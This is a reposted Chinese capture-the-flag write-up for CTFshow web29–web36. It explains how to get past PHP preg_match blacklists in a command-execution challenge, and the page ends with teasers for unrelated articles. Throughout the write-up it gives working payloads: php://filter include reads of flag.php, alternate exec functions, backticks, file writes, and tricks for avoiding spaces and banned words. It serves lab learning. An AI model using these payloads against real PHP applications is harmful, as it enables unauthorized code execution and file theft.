CTFshow 命令执行 web29~web36(正则匹配绕过)

目录

web29

方法一:include伪协议包含文件读取

方法二:写入文件

 方法三:通识符

web30

方法一:filter伪协议文件包含读取

方法二:命令执行函数绕过

 方法三:写入文件

 

web31

方法一:filter伪协议

方法二:空格及cat绕过

web32

方法一:filter伪协议

web33

web34

web35

web36


web29~36的考点主要是一些常见的正则表达式的绕过

web29

if(!preg_match("/flag/i", $c))

分析代码,这是一个preg_match函数的绕过,i表示不区分大小写字母,即无论是大写的还是小写的‘flag’字符都会被过滤掉。

方法一:include伪协议包含文件读取

首先查看有一些什么文件:

?c=echo ''?><?php system('ls');

echo ''?>: 输出一个空字符串并结束 PHP 代码块。注意是两个单引号!!!

<?php system('ls'); 开始一个新的 PHP 代码块并执行 ls 命令,这会列出当前目录的文件。

可以看到当前目录下面有flag.php,我们可以采用include伪协议包含文件读取。

?c=echo ''?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 通过get方式读入参数url,值得注意的是,echo后面的是两个单引号‘,而include后面的是双引号“。

执行,得到一串base64编码的内容

 解码得到:

 即为flag.php文件的内容,成功拿到flag。

方法二:写入文件

?c=print_r(scandir("."));

 print_r()函数,表示格式化输出括号内的内容

scandir("."):这是一个 PHP 函数,用于扫描指定目录并返回该目录下的文件和子目录的数组。"." 表示当前目录

 构造payload:

?c=system('cat *php>>5.txt);

 *php表示后缀为php,这里表示将后缀为php的文件全部写入5.txt中,然后我们去访问/5.txt,就可以看到flag.php index.php的内容全部写入到了5.txt文件当中了。

 方法三:通识符

?c=system('tac f*');

 *是通识匹配符,会匹配所有f开头的文件名,这里会匹配到flag.php

web30

 if(!preg_match("/flag|system|php/i", $c))

过滤了flag,system,php,不区分大小写字母

方法一:filter伪协议文件包含读取

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

方法二:命令执行函数绕过

能实现命令执行的函数很多,system只是其中一个,但是system有输出的功能,但是其他的函数没有,可以配合使用echo等函数来使用。

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号` 同shell_exec() 

exec()函数默认只返回命令的最后一行输出,并且不会直接回显结果。它可以通过第二个参数获取所有输出,但如果不捕获输出并直接在页面上显示,就不会有回显。

print_r 是一个 PHP 函数,用于打印数组或对象的可读信息。它可以将数据结构的内容以易于理解的格式输出,适合用于调试。与 var_dump() 不同,print_r() 更加简洁,主要关注值而非类型。

例如:

$array = [1, 2, 3];
print_r($array);
//输出为:
Array
([0] => 1[1] => 2[2] => 3
)

 shell_exec() 会返回命令的完整输出作为字符串,因此直接将其输出到页面时,会显示所有内容。

可以构造以下payload:

?c=passthru('tac f*');

?c=echo exec('tac f*', $output); print_r($output);

?c=echo shell_exec('tac f*');

?c=$handle = popen('tac f*', 'r'); $output = fread($handle, 2096); pclose($handle); echo $output;

?c=echo `tac f*`;

 方法三:写入文件

由于system函数被过滤了,我们就用反引号来代替,将f开头的文件内容写入5.txt文件当中,访问5.txt文件即可得到flag

?c=echo `tac f*>>5.txt`;

 

web31

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

  • flag: 匹配字符串 flag
  • system: 匹配字符串 system(防止用户调用 system() 函数)。
  • php: 匹配字符串 php(防止执行 PHP 相关的命令)。
  • cat: 匹配字符串 cat(防止使用 cat 命令查看文件内容)。
  • sort: 匹配字符串 sort(防止使用 sort 命令)。
  • shell: 匹配字符串 shell(防止使用与 shell 相关的命令)。
  • \.: 匹配 .(防止用户使用文件路径,比如 ../)。
  • : 匹配空格(防止使用空格构造复杂命令)。
  • \': 匹配单引号 '(防止输入包含单引号的内容)

 可以看到这道题过滤了更多的字符,

方法一:filter伪协议

?c=include"$_GET[url]"?>&url=php://filter/convert.base64-encode/resource=flag.php

可能会有小伙伴会好奇,为什么明明构造的payload里面明明有php和flag,但是却还是成功绕过了preg_match函数的过滤呢,这是因为我们的正则表达式匹配的是参数c的内容,但是参数$c的内容为include"$_GET[url]";,这里 $_GET['url'] 指向的是 php://filter/read=convert.base64-encode/resource=flag.php。由于正则表达式没有检测 $_GET['url'],所以 "flag""php" 并没有在正则中被捕获,因此绕过了限制。

方法二:空格及cat绕过

过滤了空格符,可以有以下几种方式绕过

%09 符号需要php环境
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

 cat被过滤:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

 可以构造payload

?c=echo%09`tac%09f*`;

?c=echo%09`tail%09f*`;

 这道题感觉很奇怪,很多没有被过滤掉的都没有回显。

web32

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,',`,echo,;,(

感觉都要被过滤完了。

方法一:filter伪协议

哈哈哈哈这招屡试不爽,这次依旧能行

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 但是他方法目前还没想到

web33

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ 

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,在32题的基础上,增加了对双引号的过滤"

于是,我们可以改用数组来进行参数的绕过

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,

加了一个冒号,对payload没什么影响,用33题的payload就可以做出来

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=虽然又过滤了<和=符号,但是并没有过滤掉payload里面的关键符号,因此还是可以继续用这个payload

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=,/,数字0-9,我们把参数改成字母就绕过了

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/55496.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Springboot+Vue的零食批发商仓库管理系统(含源码数据库)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: SpringBoot自带 apache tomcat 主要技术: Java,Springboot,mybatis,mysql,vue 2.视频演示地址 3.功能 在这个…

Open-Sora全面开源?

来源 | 机器之心 ID | almosthuman2014 不久前 OpenAI Sora 以其惊人的视频生成效果迅速走红&#xff0c;在一众文生视频模型中突出重围&#xff0c;成为全球瞩目的焦点。继 2 周前推出成本直降 46% 的 Sora 训练推理复现流程后&#xff0c;Colossal-AI 团队全面开源全球首个类…

03 去重排序

题目&#xff1a; 桶排序变体&#xff1a; #include<iostream> #include<algorithm> using namespace std; #define M 100005 int a[M];int main() {int N;cin>>N;int count0;for(int i1;i<N;i){int temp;cin>>temp;if(a[temp]1){continue;}else{a…

MindSearch 部署到Github Codespace 和 Hugging Face Space

一&#xff1a;概述 MindSearch是一个创新的AI搜索框架&#xff0c;由中国科技大学的科学家以及上海人工智能实验室的学者联合研发。 随着硅基流动提供了免费的 InternLM2.5-7B-Chat 服务&#xff08;免费的 InternLM2.5-7B-Chat 真的很香&#xff09;&#xff0c;MindSearch 的…

Spring Cloud之OpenFeign的具体实践

1 基本概念 OpenFeign基于Feign框架开发&#xff0c;而Feign是Netflix开源的一个声明式Web服务客户端。OpenFeign通过定义接口、注解和动态代理等方式&#xff0c;将服务调用的过程封装起来&#xff0c;使得开发者只需要定义服务接口&#xff0c;而无需关心底层的HTTP请求和序列…

1688商品详情关键词数据-API

要利用 Python 爬虫采集 1688 商品详情数据&#xff0c;需要先了解 1688 网站的页面结构和数据请求方式。一般使用 requests 库请求网站的数据&#xff0c;使用 BeautifulSoup 库解析网页中的数据。 以下是一个简单的 Python 爬虫采集 1688 商品详情数据的示例代码&#xff1a…

YOLO11改进|注意力机制篇|引入上下文锚注意力机制CAA

目录 一、【CAA】注意力机制1.1【CAA】注意力介绍1.2【CAA】核心代码 二、添加【CAA】注意力机制2.1STEP12.2STEP22.3STEP32.4STEP4 三、yaml文件与运行3.1yaml文件3.2运行成功截图 一、【CAA】注意力机制 1.1【CAA】注意力介绍 CAA注意力机制的结构图如下&#xff0c;下面根据…

RAG:检索增强生成技术概览

Why 将大模型应用于实际业务场景时会发现&#xff0c;通用的基础大模型基本无法满足我们的实际业务需求&#xff0c;主要有以下几方面原因&#xff1a; 知识的局限性&#xff1a;大模型对于一些实时性的、非公开的或离线的数据是无法获取到的。幻觉问题&#xff1a;所有的AI模…

828华为云征文 | 利用FIO工具测试Flexus云服务器X实例存储性能

目录 一、Flexus云服务器X实例概要 1.1 Flexus云服务器X实例摘要 1.2 产品特点 1.3 存储方面性能 1.4 测评服务器规格 二、FIO工具 2.1 安装部署FIO 2.2 主要性能指标概要 三、进行压测 3.1 测试全盘随机读IO延迟 3.2 测试全盘随机写IO延迟 3.3 测试随机读IOPS 3.4…

R包:ggheatmap热图

加载R包 # devtools::install_github("XiaoLuo-boy/ggheatmap")library(ggheatmap) library(tidyr)数据 set.seed(123) df <- matrix(runif(225,0,10),ncol 15) colnames(df) <- paste("sample",1:15,sep "") rownames(df) <- sapp…

云中红队系列 | 使用 Azure FrontDoor 混淆 C2 基础设施

重定向器是充当 C2 服务器和目标网络之间中间人的服务器。其主要功能是重定向 C2 和受感染目标之间的所有通信。重定向器通常用于隐藏 C2 服务器流量的来源&#xff0c;使防御者更难以检测和阻止 C2 基础设施。 基于云的重定向器提供了一个很好的机会&#xff0c;通过内容分发…

安卓使用memtester进行内存压力测试

memteser简介 memtester 是一个用于测试内存可靠性的工具。 它可以对计算机的内存进行压力测试&#xff0c;以检测内存中的错误&#xff0c;例如位翻转、随机存取错误等。memtester 可以在不同的操作系统上运行&#xff0c;并且可以针对不同大小的内存进行测试。 下载源码 m…

[单master节点k8s部署]29.Istio流量管理(五)

测试istio熔断管理。 采用httpbin镜像和fortio镜像&#xff0c;其中httpbin作为服务端&#xff0c;fortio是请求端。这两个的配置yaml文件都在istio的samples/httpbin目录下&#xff0c;fortio的配置文件在samples-client目录下。 [rootmaster httpbin]# ls gateway-api ht…

国外电商系统开发-运维系统执行设备属性

为了方便使用&#xff0c;开发了双击网络设备图标&#xff0c;就进入交互式命令终端&#xff0c;在这里您可以执行如cd&#xff0c;top&#xff0c;ping这样的交互命令&#xff0c;但仍然不支持部分交互命令&#xff0c;比如vim等。 您可以双击设备图标&#xff0c;或者是右键&…

如何从计算机的硬盘中恢复照片 - 成功

如何从计算机硬盘恢复图片&#xff1f; 与所有电子和机械设备一样&#xff0c;硬盘驱动器也可能由于任何原因而死机。如果您的系统硬盘驱动器已停止工作或在启动系统时听到振动声&#xff0c;则它有可能已死机。如果是这样的话&#xff0c;上面的数据呢&#xff1f; 不要惊慌…

Python使用matplotlib绘制图形大全(曲线图、条形图、饼图等)

matplotlib 的主要组成部分是 pyplot&#xff0c;它是一个类似于 MATLAB 的绘图框架。pyplot 提供了一个 MATLAB 式的接口&#xff0c;可以隐式地创建图形和轴&#xff0c;使得绘图变得简单。 以下是一个简单的 matplotlib 使用示例&#xff0c;用于绘制一条简单的折线图&…

高考选择在何方?揭秘空军、海军、民航三大招飞神秘机遇

空军招飞、海军招飞和民航招飞在全国普通高校招生体系中举足轻重&#xff0c;为国家培育众多优秀飞行人才。 空军招飞在国家多部门领导下&#xff0c;由空军与相关省&#xff08;区&#xff09;教育、公安部门组织实施&#xff0c;设有七个招飞中心。自 1987 年空军自主招飞以来…

28 基于51单片机的两路电压检测(ADC0808)

目录 一、主要功能 二、硬件资源 三、程序编程 四、实现现象 一、主要功能 基于51单片机&#xff0c;通过ADC0808获取两路电压&#xff0c;通过LCD1602显示 二、硬件资源 基于KEIL5编写C代码&#xff0c;PROTEUS8.15进行仿真&#xff0c;全部资源在页尾&#xff0c;提供…

springboot中配置优先级

先来看在idea当中运行程序时&#xff0c;如何来指定Java系统属性和命令行参数。 系统属性 1、右键启动类&#xff0c;点击Edit Configuration 点击Modify options 选择Add VM options&#xff0c;就是系统属性 选择Program arguements&#xff0c;就是命令行参数 总结&#…

OpenAI 开发者大会!实时语音功能有API了,GPT-4o支持多模态微调,上下文cache功能上线

家人们&#xff01;十一假期第1天&#xff0c; OpenAI一年一度的开发者大会又来了惹&#xff01;今年的开发者大会分成三部分分别在美国、英国、新加坡三个地点举办&#xff0c;刚刚结束的是第一场。 去年的OpenAI开发者大会公布了GPT-4 Turbo和GPTs&#xff0c;今年没有大更新…